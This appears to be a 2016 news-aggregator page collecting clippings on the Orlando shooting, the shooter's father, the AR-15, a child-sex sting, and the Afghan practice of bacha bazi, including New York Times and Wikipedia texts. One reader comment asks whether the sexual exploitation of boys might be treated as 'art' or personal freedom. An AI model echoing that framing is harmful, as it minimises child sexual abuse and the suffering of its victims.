Then, there's backup. Take the European HAMNET, for example. That's a four-thousand-node high speed data network covering a large part of continental Europe and providing full IP connectivity at megabit speeds. It connects to the Internet'--ham radio owns 16 million IPV4 addresses, believe it or not'--but is independent of it, doing its own robust and flexible routing. If the Internet was to go away, HAMNET would still be running. The same's true of nearly all ham radio infrastructure: when everything else fails'--power, comms, roads'--ham radio is still there, and these days it can be a full-fat digital medium.
This independence gives ham radio a further edge. It is vigorously non-commercial and non-governmental, and by law has to be open'--encryption is almost completely forbidden. It's open to all nations (and nearly all allow it). It has survived war, dictatorships, disaster and CB radio. If you want to use the airwaves, then provided you can pass a simple technical test and pay a nominal admin fee, you don't need any further permission. Increasingly, that means unique creations that can't happen any other way, like global free-to-access digital voice radio networks and international automated satellite tracking and data systems.
Further ReadingThis resurgence has helped amateur radio keep its place at the negotiating table with regulators and lawmakers. It's kept the world full of active expertise in wireless, one of the major drivers of modern IT, and also one of the guarantors that things like commercial cellular networks are constantly checked for abuse'--those radio hackers at the Def Con and Blackhat conferences who gleefully expose the flaws and backdoors in your mobile phone will usually be active ham radio geeks.
It's also a lot of fun. Nobody has to be a radio amateur, but if you want to use radio inventively, or understand how it works, or need to create a communications link that doesn't conform to other people's limits or require their permission, it's there for you. Be there for it.
Rupert Goodwins started out as an engineer working for Clive Sinclair, Alan Sugar, and some other 1980s startups. He is now a technology journalist who's written and broadcast about the digital world for more than thirty years. You can follow him on Twitter at @rupertg.
Grootste Britse krant is pro-Brexit - Buitenland - TROUW
Tue, 14 Jun 2016 11:43
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The Next Time Someone Calls an AR-15 an Assault Rifle, Show Them This
Tue, 14 Jun 2016 07:22
The AR-15 was Omar Mateen's weapon of choice when he decided to kill 49 innocent Americans inside a gay night club in Orlando. And his act of terrorism has renewed calls for an ''assault weapons'' ban.
But by any definition of the term, the AR-15 is not an assault rifle.
What constitutes an assault rifle?An assault rifle needs to hit the mark on three different characteristics.
1. An assault rifle has selective fire.
That means that the user can toggle between at least two settings, semiautomatic and automatic.
The AR-15 is a gas powered semiautomatic rifle, meaning one pull of the trigger corresponds to only one round being fired.
In contrast, the M16 and sometimes the M4, which are the United States military's small arms rifle of choice, do fire automatically. The M16 and M4 also allow a three-round burst option, which is also not possible on an AR-15.
2. An assault rifle fires an intermediate cartridge.
An intermediate cartridge is less powerful than standard full power battle rifle cartridges, but is still more powerful than the common pistol cartridges. The 5.56 NATO round, used in the M16, is an intermediate cartridge. So is the .223, used in the AR-15.
3. An assault rifle will have a detachable magazine.
The AR-15, like the M16 and the M4, have detachable magazines.
But virtually every modern firearm uses detachable magazines.
Cosmetics.The AR-15 looks very similar to the M16, which is an actual assault rifle. They are both heavily customizable and have many of the same features.
An AR-15 owner can tack on scopes, muzzle brakes, and spiffy slings. The user can interchange lowers and swap out magazines as well. The AR-15 and the M16 look very similar.
Here is a U.S. Marine aiming an M4.
Image Credit: Adek Berry/AFP/Getty Images
And here is a U.S. civilian holding an AR-15.
Image Credit: Jeff Swensen/Getty Images
But their functionality could not be more different.
Some misconceptions about the AR-15.The AR-15 is not that powerful when compared to common hunting rifles. A .223 round is often too small to take down large game like deer and elk.
In many cases, the .223 is prohibited for hunting certain game. Because of its lack of power, it might not fully kill the animal, leading to suffering.
For instance, in the state of Washington, all big game '-- with the exception of cougar '-- can only be hunted with a minimum of .24 caliber (6mm) centerfire rifle.
Rather, hunters opt instead for more powerful rounds such as a .30-30 or a .308.
In addition to overestimating its power, inexperienced gun critics often cite the AR-15's ability to rapid fire.
In the wake of the Orlando attack, Florida Congressman Alan Grayson, a Democrat, told CNN's Erin Burnett:
''If [Matteen] was not able to buy a weapon that shoots off 700 rounds in a minute, a lot of those people would still be alive. That's exactly right. If somebody like him had nothing worse to deal with than a Glock pistol'...he might have killed three or four people and not 50. It's way too easy to kill people in America today and we have to think long and hard about what to do about that.''
What Grayson said on national television was false. The AR-15 cannot fire 700 rounds per minute. Such an action would be a physical impossibility.
And while Grayson said ''a Glock pistol'' can only target ''three or four people,'' the standard magazine for a Glock 19 holds 15 rounds.
But Burnett didn't challenge Grayson, instead she told him, ''You're right about that. Thank you very much.''
Another misconception is that the ''AR'' in AR-15 is an abbreviation for ''assault rifle.'' It does not. The ''AR'' is an abbreviation for ''ArmaLite Rifle,'' after the company that designed the firearm.
So while gun control supporters rally their cohorts to bring about an assault rifle ban, the AR-15 is not an assault rifle. It just looks like one.
Editor's note: This article was updated after publication.
The Father of the Orlando Shooter Recently Visited Congress, State Department, Writes Open Letters To President Obama
Tue, 14 Jun 2016 07:17
Little is known about the personal life of Omar Mateen, the man who pledged allegiance to ISIS before butchering more than 50 people inside an Orlando nightclub early Sunday morning, but his political activist father, who is running for President of Afghanistan, seems to have an odd relationship with the U.S. Government and sympathies toward the Taliban.
Here is what we know about the Orlando shooter's father:
His name is Seddique Mateen and he is from Afghanistan.Credit: facebook.com/seddique.mateen
Mateen told NBC News early on Sunday that his son became angry while seeing two men kiss.
''We were in Downtown Miami, Bayside, people were playing music, and he saw two men kissing each other in front of his wife and kid and he got very angry. They were kissing each other and touching each other and he said, 'Look at that. In front of my son they are doing that.' And they we were in the men's bathroom and men were kissing each other.'''
Mateen has his own television show, which broadcasts out of California.Credit: facebook.com/seddique.mateen
It is called the ''Durand Jirga Show'' and features Mateen discussing Middle Eastern politics. The show is posted on YouTube.
According to the Washington post, the show demonstrates the Orlando shooters father's sympathetic views toward the Taliban:
In one video, Mateen expresses gratitude toward the Afghan Taliban, while denouncing the Pakistani government.
''Our brothers in Waziristan, our warrior brothers in [the] Taliban movement and national Afghan Taliban are rising up,'' he said. ''Inshallah the Durand Line issue will be solved soon.''
This April, Mateen was in Washington DC doing advocacy work with Congress and the State DepartmentSeddique Mateen is an effusive poster on social media. The following posts from his Facebook describe a trip to Washington DC in April. He can be seen posing in front of State Department offices & the Democratic Foreign Services Committee offices.
Credit: facebook.com/seddique.mateen
Credit: facebook.com/seddique.mateen
The captions on the above photos roughly translate to Mateen describing how he is advocating for U.S. intervention between Pakistani and Afghan fighters on the border of both countries. One caption in English reads: ''We have the duty to tell the world that Pakistan is the killer of Afghan people.''
It is not clear who he personally met with in Washington D.C.
Credit: facebook.com/seddique.mateen
In the above post, Mateen describes meetings with the Foreign Relations Committee and his attendance at a hearing for Afghanistan security.
He also posed for a photo in this mock Presidential Briefing RoomCredit: facebook.com/seddique.mateen
Mateen has met with prominent members of Congress on past trips to Washington D.C.These posts from 2015 show Mateen with Reps Charlie Rangel, Dana Rohrabacher and Ed Royce. Royce is the Chairman of the United States House Committee on Foreign Affairs.
Credit: facebook.com/seddique.mateen
Credit: facebook.com/seddique.mateen
Credit: facebook.com/seddique.mateen
Credit: facebook.com/seddique.mateen
Mateen is currently running for President of AfghanistanCredit: facebook.com/seddique.mateen
Mateen regularly describes his campaign to become President of Afghanistan in posts on Facebook. According to the Washington Post, he announced his candidacy on his YouTube show:
The most recent video on Mateen's YouTube channel shows him declaring his candidacy for the Afghan presidency. The timing of the video is strange, as it came a year after presidential elections were held in Afghanistan.
Mateen believes people are trying to get into the U.S. to kill himA post from the first of June says this:
Mateen regularly posts bold messages to the U.S. military and President ObamaThese messages include statements about the Taliban, suicide bombers, and violence in the region.
Credit: facebook.com/seddique.mateen
Credit: facebook.com/seddique.mateen
Credit: facebook.com/seddique.mateen
Credit: facebook.com/seddique.mateen
Credit: facebook.com/seddique.mateen
Credit: facebook.com/seddique.mateen
Credit: facebook.com/seddique.mateen
Credit: facebook.com/seddique.mateen
In March, Mateen had also been granted a corporate license by the State of Florida to operate his group called The Provisional Government of Afghanistan.
Independent Journal Review has emailed and called Mateen for comment. This is a breaking story and will be updated.
The Dancing Boys of Afghanistan - Top Documentary Films
Tue, 14 Jun 2016 06:41
Rebecca Hu
I completely agree that forcing innocent boys into property "party favor" / prostitutes is criminal and should be stopped by authority. Having said that, I think the phenomenon of Bacha Bazi deserves a closer and more complex examination once the illicit aspects of it has been addressed. What I mean is, this raises more questions, such as why is Bacha Bazi so demonized while other similar practices like pornography, geishas, transgendered entertainers in Thailand, etc, is tolerated, even celebrated? Again, before any trolls start flaming me online, I'm just opening up an avenue through which sexuality can be viewed, its behavior in cross-cultural societies surveyed, and the limits of sexual decency redefined. When America makes Sasha Grey a celebrity, and makes reality tv stardom of toddlers and tiaras (yes, a very tasteless show, but one that has profit and fandom to show in the industry nonetheless), what makes dancing boys so much more gruesome a case? At what point do we draw the line of taboo and crime, and at what point do we leave it up to personal freedom and sexual tolerance? Finally, at what point do we look at Bacha Bazi and call it "art"? (I am referring to the boy who claimed that dancing is his passion, and that he is self-motivated to pursue Bacha Bazi. I'm trusting that while exploitation and sexual slavery exist, so does the case where boys in pursuit of a career enter the industry on their own terms).
Omar Mateen's father Seddique Mateen posted videos on YouTube
Tue, 14 Jun 2016 06:16
Omar Mateen's father Seddique says he cannot forgive his son for fatally shooting 49 people at an Orlando nightclub, calling it "a terrorist act."
The mass shooting is the deadliest in US history. Picture: Joe Raedle/Getty Images/AFP.
THE father of Orlando massacre gunman Omar Mateen has posted a videos where he has described his son as a ''very good boy''.
Seddique Mateen released a video statement on Facebook yesterday saying his son lived a ''dignified life and respected his parents''.
''I don't know what made him [do this], I have no idea. I had no idea that he felt resentful in his heart and had gone to the gay [he uses the derogatory word hamjensbazi] club and killed men and women there,'' Mr Mateen said in the video.
''I am very sad and I've announced this to the American people as well. Why did he do this act during this holy month of Ramadan. On the topic of being hamjensbazi, punishment and the things that they do, God will give the punishment.
''This is not the issue for a follower of God and he [Omar] that did this has greatly saddened me. I wanted you to know this. God give all youth complete health to keep the real path of the holy religion of Islam in mind.''
Mr Mateen lives in the US and frequently posts videos about politics in Afghanistan, his homeland.
He has posted a bizarre series of videos on social media declaring himself leader of Afghanistan and said God will punish those involved in homosexuality.
Mr Mateen describes himself as a ''politician'' on a page called Provisional Government of Afghanistan '-- Seddique Mateen.
He appears in several videos wearing army fatigues in front of the Afghan flag. In a post after the deadly shooting which is the worst in US history, he says the family is shocked by the ''tragic'' news.
''I am deeply saddened and announce this to the people of America,'' he said according to Washington Post reports while noting the shooting took place during the holy Muslim month of Ramadan.
But he also warned: ''God himself will punish those involved in homosexuality.''
''This is not for the servants'' of God.
Mr Mateen also said his family was struggling to comprehend the news after his son was named as the shooter in the terror attack on Pulse nightclub that left 49 dead, including the gunman, and 53 injured.
''We are saying we are apologising for the whole incident. We weren't aware of any action he is taking. We are in shock like the whole country,'' he told media earlier.
Seddique Mateen's father had declared himself the provisional leader of Afghanistan. Picture: Facebook.Source:Supplied
Authorities are working to piece together the background of the family after it emerged Omar Mateen phoned emergency services to pledge allegiance to the Islamic State before the horrifying attack.
Meanwhile, candlelight vigils and tributes to those killed have sprung up in Orlando and around the world.
Public records also show Seddique Mateen hosted a YouTube show where he weighed in on Afghan politics called Durand Jirga. The name refers to the Durand Line '-- a border between Afghanistan and Pakistan which has been disputed for years.
One year ago he posted a video announcing his candidacy for the President of Afghanistan and he has also published videos called ''Rise Afghan people against Pakistan''.
Omar Mateen had been interviewed twice by the FBI but was not deemed to be a threat. Picture: MySpaceSource:Supplied
It remains unclear exactly what Seddique Mateen's political views were as a former Afghan official told AFP the channel the videos appeared on traditionally supports the Afghan Taliban. Another former colleague said the content was pro-American.
Florida company incorporation documents show the Durand Jirga Inc was incorporated as a domestic non-profit business in November 2010 which is deemed to be 'active'
Mr Mateen is listed as a director of the company which is registered to the same address it is thought Omar lived at.
On Monday Islamic State claimed responsibility for the attack, saying one of their ''soldiers'' was able to carry out a ''security invasion'' at a ''crusader gathering''.
Omar Mateen, 29, had previously worked as a security guard and wanted to become a police officer before he carried out the deadly shooting. He was described by others as quiet and solitary.
His ex-wife Sitora Yusufiy said he was ''mentally unstable'' and she left him after four months because he was abusive towards her.
Mr Mateen had no criminal record but had been interviewed twice by FBI agents.
Sitora Yusufiy, the ex-wife of Orlando shooting suspect Omar Mateen, said he was abusive and mentally unstable. Picture: Autumn Parry/Daily Camera via AP.Source:AP
Ex-CAIR Community Organizer Arrested in Florida Child Sex Sting
Tue, 14 Jun 2016 06:08
Former Florida CAIR community organizer Ahmad Saleem. (CAIR)
(CNSNews.com) '' Ahmad Saleem, a former regional community organizer for the Florida chapter of the Council on American-Islamic Relations (CAIR) whose license plate says ''Invest in Children'' was one of 22 persons arrested in a seven-day child-sex sting operation near Orlando.
Saleem is the founder of Saleem Academy, an organization for empowering Muslim youth, whose website was taken down shortly after his arrest.
''He's well known as a community outreach leader interacting with teens in and around the Orlando area,'' Polk County Sheriff's Office spokesman Grady Judd said at a press conference announcing the arrests. ­''These are very dangerous people and they are after our children.''
Saleem ''worked here for two months'' as a community organizer, CAIR Florida executive director Nezar Hamze confirmed to CNSNews.com. ''Then he abandoned his job. Around the end of April, he decided not to show up.'' Hamze added that Saleem was ''still on probation'' at the time.
''Of course, what he did is completely illegal. I have a 12-year-old and we completely support law enforcement in whatever they are going to do,'' Hamze told CNSNews.com.
''CAIR Florida is shocked and deeply concerned by the serious crimes Ahmad Saleem is alleged to have committed. We trust in the legal system to hold to full account any and all persons found guilty,'' the group said in a statement.
According to a press release by the Lake County Sheriff's Office, the first week of the undercover sting, which ran between May 18 and May 28, ''targeted adults who were looking for sex with a child.''
Undercover detectives went online in various chat rooms and gave out the address of a vacant home in Clermont as the location where suspects could go to have sex with underage minors who they were led to believe were between the ages of 10 and 14.
''During this phase, the detectives posed as either a child or a parent of a child as they were solicited by those interested in sexual activity with the child,'' the sheriff's office said. The ''22 individuals were arrested after traveling to the location to have sex with who they believed to be a child.''
Besides Saleem, other suspects arrested for agreeing to have sex with a minor included former employees of Universal Orlando and Walt Disney World and a current employee at SeaWorld. Another 79 people were also arrested on prostitution charges during the second week of ''Operation L and P'' - named for the Lake and Polk County Sheriff's Offices.
Bacha Bazi | sharia unveiled
Tue, 14 Jun 2016 06:06
by, Joseph Goldstein | NY Times
KABUL, Afghanistan '-- In his last phone call home, Lance Cpl. Gregory Buckley Jr. told his father what was troubling him: From his bunk in southern Afghanistan, he could hear Afghan police officers sexually abusing boys they had brought to the base.''At night we can hear them screaming, but we're not allowed to do anything about it,'' the Marine's father, Gregory Buckley Sr., recalled his son telling him before he was shot to death at the base in 2012. He urged his son to tell his superiors. ''My son said that his officers told him to look the other way because it's their culture.''Rampant sexual abuse of children has long been a problem in Afghanistan,particularly among armed commanders who dominate much of the rural landscape and can bully the population. The practice is called bacha bazi, literally ''boy play,'' and American soldiers and Marines have been instructed not to intervene '-- in some cases, not even when their Afghan allies have abused boys on military bases, according to interviews and court records.Video courtesy of: FNC & Breaking News
The policy has endured as American forces have recruited and organized Afghan militias to help hold territory against the Taliban. But soldiers and Marines have been increasingly troubled that instead of weeding out pedophiles, the American military was arming them in some cases and placing them as the commanders of villages '-- and doing little when they began abusing children.''The reason we were here is because we heard the terrible things the Taliban were doing to people, how they were taking away human rights,'' said Dan Quinn, a former Special Forces captain who beat up an American-backed militia commander for keeping a boy chained to his bed as a sex slave. ''But we were putting people into power who would do things that were worse than the Taliban did '-- that was something village elders voiced to me.''The policy of instructing soldiers to ignore child sexual abuse by their Afghan allies is coming under new scrutiny, particularly as it emerges that service members like Captain Quinn have faced discipline, even career ruin, for disobeying it.After the beating, the Army relieved Captain Quinn of his command and pulled him from Afghanistan. He has since left the military.Four years later, the Army is also trying to forcibly retire Sgt. First Class Charles Martland, a Special Forces member who joined Captain Quinn in beating up the commander.''The Army contends that Martland and others should have looked the other way (a contention that I believe is nonsense),'' Representative Duncan Hunter, a California Republican who hopes to save Sergeant Martland's career, wrote last week to the Pentagon's inspector general.In Sergeant Martland's case, the Army said it could not comment because of the Privacy Act.When asked about American military policy, the spokesman for the American command in Afghanistan, Col. Brian Tribus, wrote in an email: ''Generally, allegations of child sexual abuse by Afghan military or police personnel would be a matter of domestic Afghan criminal law.'' He added that ''there would be no express requirement that U.S. military personnel in Afghanistan report it.'' An exception, he said, is when rape is being used as a weapon of war.
The American policy of nonintervention is intended to maintain good relations with the Afghan police and militia units the United States has trained to fight the Taliban. It also reflects a reluctance to impose cultural values in a country where pederasty is rife, particularly among powerful men, for whom being surrounded by young teenagers can be a mark of social status.Some soldiers believed that the policy made sense, even if they were personally distressed at the sexual predation they witnessed or heard about.''The bigger picture was fighting the Taliban,'' a former Marine lance corporal reflected. ''It wasn't to stop molestation.''Still, the former lance corporal, who spoke on the condition of anonymity to avoid offending fellow Marines, recalled feeling sickened the day he entered a room on a base and saw three or four men lying on the floor with children between them. ''I'm not a hundred percent sure what was happening under the sheet, but I have a pretty good idea of what was going on,'' he said.But the American policy of treating child sexual abuse as a cultural issue has often alienated the villages whose children are being preyed upon. The pitfalls of the policy emerged clearly as American Special Forces soldiers began to form Afghan Local Police militias to hold villages that American forces had retaken from the Taliban in 2010 and 2011.By the summer of 2011, Captain Quinn and Sergeant Martland, both Green Berets on their second tour in northern Kunduz Province, began to receive dire complaints about the Afghan Local Police units they were training and supporting.First, they were told, one of the militia commanders raped a 14- or 15-year-old girl whom he had spotted working in the fields. Captain Quinn informed the provincial police chief, who soon levied punishment. ''He got one day in jail, and then she was forced to marry him,'' Mr. Quinn said.When he asked a superior officer what more he could do, he was told that he had done well to bring it up with local officials but that there was nothing else to be done. ''We're being praised for doing the right thing, and a guy just got away with raping a 14-year-old girl,'' Mr. Quinn said.
Village elders grew more upset at the predatory behavior of American-backed commanders. After each case, Captain Quinn would gather the Afghan commanders and lecture them on human rights.Soon another commander absconded with his men's wages. Mr. Quinn said he later heard that the commander had spent the money on dancing boys. Another commander murdered his 12-year-old daughter in a so-called honor killing for having kissed a boy. ''There were no repercussions,'' Mr. Quinn recalled.In September 2011, an Afghan woman, visibly bruised, showed up at an American base with her son, who was limping. One of the Afghan police commanders in the area, Abdul Rahman, had abducted the boy and forced him to become a sex slave, chained to his bed, the woman explained. When she sought her son's return, she herself was beaten. Her son had eventually been released, but she was afraid it would happen again, she told the Americans on the base.She explained that because ''her son was such a good-looking kid, he was a status symbol'' coveted by local commanders, recalled Mr. Quinn, who did not speak to the woman directly but was told about her visit when he returned to the base from a mission later that day.So Captain Quinn summoned Abdul Rahman and confronted him about what he had done. The police commander acknowledged that it was true, but brushed it off. When the American officer began to lecture about ''how you are held to a higher standard if you are working with U.S. forces, and people expect more of you,'' the commander began to laugh.''I picked him up and threw him onto the ground,'' Mr. Quinn said. Sergeant Martland joined in, he said. ''I did this to make sure the message was understood that if he went back to the boy, that it was not going to be tolerated,'' Mr. Quinn recalled.There is disagreement over the extent of the commander's injuries. Mr. Quinn said they were not serious, which was corroborated by an Afghan official who saw the commander afterward.(The commander, Abdul Rahman, was killed two years ago in a Taliban ambush. His brother said in an interview that his brother had never raped the boy, but was the victim of a false accusation engineered by his enemies.)Sergeant Martland, who received a Bronze Star for valor for his actions during a Taliban ambush, wrote in a letter to the Army this year that he and Mr. Quinn ''felt that morally we could no longer stand by and allow our A.L.P. to commit atrocities,'' referring to the Afghan Local Police.The father of Lance Corporal Buckley believes the policy of looking away from sexual abuse was a factor in his son's death, and he has filed a lawsuit to press the Marine Corps for more information about it.
Lance Corporal Buckley and two other Marines were killed in 2012 by one of a large entourage of boys living at their base with an Afghan police commander named Sarwar Jan.Mr. Jan had long had a bad reputation; in 2010, two Marine officers managed to persuade the Afghan authorities to arrest him following a litany of abuses, including corruption, support for the Taliban and child abduction. But just two years later, the police commander was back with a different unit, working at Lance Corporal Buckley's post, Forward Operating Base Delhi, in Helmand Province.Lance Corporal Buckley had noticed that a large entourage of ''tea boys'' '-- domestic servants who are sometimes pressed into sexual slavery '-- had arrived with Mr. Jan and moved into the same barracks, one floor below the Marines. He told his father about it during his final call home.Word of Mr. Jan's new position also reached the Marine officers who had gotten him arrested in 2010. One of them, Maj. Jason Brezler, dashed out an email to Marine officers at F.O.B. Delhi, warning them about Mr. Jan and attaching a dossier about him.The warning was never heeded. About two weeks later, one of the older boys with Mr. Jan '-- around 17 years old '-- grabbed a rifle and killed Lance Corporal Buckley and the other Marines.Lance Corporal Buckley's father still agonizes about whether the killing occurred because of the sexual abuse by an American ally. ''As far as the young boys are concerned, the Marines are allowing it to happen and so they're guilty by association,'' Mr. Buckley said. ''They don't know our Marines are sick to their stomachs.''The one American service member who was punished in the investigation that followed was Major Brezler, who had sent the email warning about Mr. Jan, his lawyers said. In one of Major Brezler's hearings, Marine Corps lawyers warned that information about the police commander's penchant for abusing boys might be classified. The Marine Corps has initiated proceedings to discharge Major Brezler.Mr. Jan appears to have moved on, to a higher-ranking police command in the same province. In an interview, he denied keeping boys as sex slaves or having any relationship with the boy who killed the three Marines. ''No, it's all untrue,'' Mr. Jan said. But people who know him say he still suffers from ''a toothache problem,'' a euphemism here for child sexual abuse.source
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Bacha bazi - Wikipedia, the free encyclopedia
Tue, 14 Jun 2016 06:02
Bacha bāzÄ (Persian: بچه بازی'Ž'Ž, literally "boy play"; from بچهbacha, "child", and بازیbāzÄ, "game") is a slang term in Afghanistan for a wide variety of activities that involve child sexual abuse and pederasty. The perpetrator is commonly called Bacha Baz (meaning "pedophile" in Persian). It may include to some extent child pornography, sexual slavery, and child prostitution in which prepubescent and adolescent boys are sold to wealthy or powerful men for entertainment and sexual activities.[1] Bacha bazi has existed throughout history,[2] and is currently reported in various parts of Afghanistan.[3][4][5][6][7] Force and coercion are a common component of this abuse, and security officials state they are unable to end it because many of the men involved in bacha bazi-related activities are powerful and well-armed warlords including former Northern Alliance commanders.[8][9][10]
During the Taliban's rule (1994-2001), bacha bazi officially carried the death penalty[11][12] but was rarely enforced. The practice of dancing boys is illegal under Afghan law, being "against both sharia law and the civil code",[13] but the laws are seldom enforced against powerful offenders and police have been reportedly complicit in related crimes.[14][15]
A controversy arose after allegations surfaced that US forces in Afghanistan after the Invasion of Afghanistan deliberately ignored Bacha Bazi.[16] The military denied this, instead claiming the abuse was largely the responsibility of the local Afghan government.[17]
Bacha bazi is a form of pederasty which has been prevalent in Central Asia since antiquity. It waned in the big cities after World War I, for reasons that dance historian Anthony Shay describes as "Victorian eraprudery and [the] severe disapproval of colonial powers such as the Russians, British, and French, and the post-colonial elites who had absorbed those Western colonial values."[18]
A number of Western travellers through Central Asia have reported on the phenomenon of the bacch. Visiting Turkestan in 1872 to 1873, Eugene Schuyler observed that, "here boys and youths specially trained take the place of the dancing-girls of other countries. The moral tone of the society of Central Asia is scarcely improved by the change". His opinion was that the dances "were by no means indecent, though they were often very lascivious." At this date there were already signs of official disapproval of the practice. Wrote Schuyler:
These "batchas", or dancing-boys, are a recognised institution throughout the whole of the settled portions of Central Asia, though they are most in vogue in Bokhara and the neighbouring Samarkand. In the khanate of Khokand public dances have for some years been forbidden - the formerly licentious Khan having of late put on a semblance of morality and severity.... In Tashkentbatchas flourished until 1872, when a severe epidemic of cholera influenced the Mullahs to declare that dancing was against the precepts of the Koran, and at the request of the leaders of the native population, the Russian authorities forbade public dances during that summer.
Schuyler remarked that the ban had barely lasted a year, so enthusiastic were the Sarts for a bazem "dance". He further describes the respect and affection the dancers often received:
These batchas are as much respected as the greatest singers and artistes are with us. Every movement they make is followed and applauded, and I have never seen such breathless interest as they excite, for the whole crowd seems to devour them with their eyes, while their hands beat time to every step. If a batcha condescends to offer a man a bowl of tea, the recipient rises to take it with a profound obeisance, and returns the empty bowl in the same way, addressing him only as Taxir, 'your Majesty', or Kulluk 'I am your slave'. Even when a batcha passes through the bazaar all who know him rise to salute him with hands upon their hearts, and the exclamation of Kulluk! and should he deign to stop and rest in any shop, it is thought a great honour.
He also reports that a rich patron would often help establish a favourite dancer in business after he had grown too old to carry on his profession.[19]
Count Konstantin Konstantinovich Pahlen, during his travels through the area in 1908 and 1909, described such dances, and commissioned photographs of the dancers:[20][21]
Cushions and rugs were fetched, on which we gratefully reclined, great carpets were spread over the court, the natives puffed at their narghiles, politely offering them to us, and the famous Khivan bachehs made their entrance. Backstage, an orchestra mainly composed of twin flutes, kettle drums, and half a dozen man-sized silver trumpets took up its stand. Opposite us a door left slightly ajar led to the harem quarters. We caught a glimpse of flashing eyes as the inmates thronged to the door to have a good look at us and watch the performance.
The orchestra started up with a curious, plaintive melody, the rhythm being taken up and stressed by the kettle drums, and four bachehs took up their positions on the carpet.
The bachehs are young men specially trained to perform a particular set of dances. Barefoot, and dressed like women in long, brightly coloured silk smocks reaching below their knees and narrow trousers fastened tightly round their ankles, their arms and hands sparkle with rings and bracelets. They wear their hair long, reaching below the shoulders, though the front part of the head is clean shaven. The nails of the hands and feet are painted red, the eyebrows are jet black and meet over the bridge of the nose. The dances consist of sensuous contortions of the body and a rhythmical pacing to and fro, with the hands and arms raised in a trembling movement. As the ballet proceeded the number of dancers increased, the circle grew in size, the music waxed shriller and shriller and the eyes of the native onlookers shone with admiration, while the bachehs intoned a piercing melody in time with the ever-growing tempo of the music. The Heir explained that they were chanting of love and the beauty of women. Swifter and swifter moved the dancers till they finally sank to the floor, seemingly exhausted and enchanted by love. They were followed by others, but the general theme was usually the same.[22]In 1909, two bacch performed among the entertainers at the Central Asian Agricultural, Industrial and Scientific Exposition in Tashkent. Noting the public's constant interest in and laughter at the performance, several locally based researchers recorded the lyrics of the songs performed by the two boys (16-year-old Hadji-bacch and 10-year-old Sayid-bacch, both from the then Margilanuyezd). The songs were then published in the original "Sart language" (Uzbek) with a Russian translation.[23]
Under the Taliban, bacha bazi was declared homosexual in nature, and therefore banned. The Taliban's opposition to bacha bazi was that they considered it incompatible with Sharia Law, and outlawed the practice after coming to power in 1996.[11] As with other homosexual activities, the charge carried the death penalty.[12]
Afghan journalistNajibullah Quraishi made a documentary film titled The Dancing Boys of Afghanistan about the practice, which was shown in the UK in March 2010[24] and aired in the U.S. the following month.[25] Journalist Nicholas Graham of The Huffington Post lauded the documentary as "both fascinating and horrifying."[26] The film won the 2011 Documentary award in the Amnesty International UK Media Awards.[27] The film was broadcast on Channel 4'sMore4 service.
The issue has been covered by RAWA, Revolutionary Association of the Women of Afghanistan.[28] The practice of bacha bazi prompted the United States Department of Defense to hire social scientist AnnaMaria Cardinalli to investigate the problem, as ISAF soldiers on patrol often passed older men walking hand-in-hand with young boys. British soldiers found that young Afghan men were actually trying to "touch and fondle them," which the soldiers didn't understand.[6]
In the novel The Kite Runner, and in the movie of the same name, the practice of bacha bazi is depicted. In the plot, the protagonist's half-nephew is forced to become a dancing boy and sexual slave to a high-ranking official of the Taliban government, who also had, years earlier, raped the boy's father when the father was a pre-teen and the official was a teenager.
In December 2010, a cable made public by WikiLeaks revealed that foreign contractors from DynCorp had spent money on bacha bazi in northern Afghanistan. Afghan Interior MinisterMohammad Hanif Atmar requested that the US military assume control over DynCorp training centers in response, but the US embassy claimed that this was not "legally possible under the DynCorp contract".[13]
In March 2011, The Documentary series on the BBC World Service addressed the concerns over the increased incidence of Dancing Boys and how this was at odds with the image which many wish to project about the post-Taliban future.[29]
In December 2012, a young man in an "improper relationship" with a commander of the Afghan Border Police killed eight guards. He had made a drugged meal for the guards and then, with the help of two friends, attacked them, after which they fled to neighboring Pakistan.[30]
In a 2013 Vice Media, Inc. documentary titled "This Is What Winning Looks Like", British independent film-maker Ben Anderson describes the systematic kidnapping, sexual enslavement and murder of young men and boys by local security forces in the Afghan city of Sangin. The film depicts several scenes of Anderson along with American military personal describing how difficult it is to work with the Afghan police considering the blatant molestation and rape of local youth. The documentary also contains footage of an American military advisor confronting the then acting Police Chief on the abuse after a young boy is shot in the leg after trying to escape a police barrack. When the Marine suggests that the barracks be searched for children, and that any policeman found to be engaged in pedophilia be arrested and jailed, the high-ranking officer insists what occurs between the security forces and the boys is consensual, saying "[the boys] like being there and giving their asses at night." He went on to claim that this practice was historic and necessary. "If [my commanders] don't fuck the asses of those boys, what should they fuck? The pussies of their own Grandmothers?"[31]
In 2015, The New York Times reported that U.S. soldiers serving in Afghanistan were instructed by their commanders to ignore child sexual abuse being carried out by Afghan security forces, except "when rape is being used as a weapon of war." American soldiers have been instructed not to intervene '-- in some cases, not even when their Afghan allies have abused boys on military bases, according to interviews and court records. But the U.S. soldiers have been increasingly troubled that instead of weeding out pedophiles, the US military was arming them against the Taliban and placing them as the police commanders of villages '-- and doing little when they began abusing children.
In 2011, an Afghani mother in the Konduz province reported that her 12 year old son had been chained to a bed and raped for two weeks by an Afghan Local Police (ALP) commander Abdul Rahman. When confronted, Rahman laughed and confessed. He was subsequently severely beaten by two US Special Forces soldiers and physically thrown off the base.[32] The soldiers were involuntarily separated from the military, but later reinstated after a lengthy legal case.[33] As a direct result of this incident, legislation was created called the "Mandating America's Responsibility to Limit Abuse, Negligence and Depravity", or "Martland Act" named after Special Forces Sgt. 1st Class Charles Martland.[34]
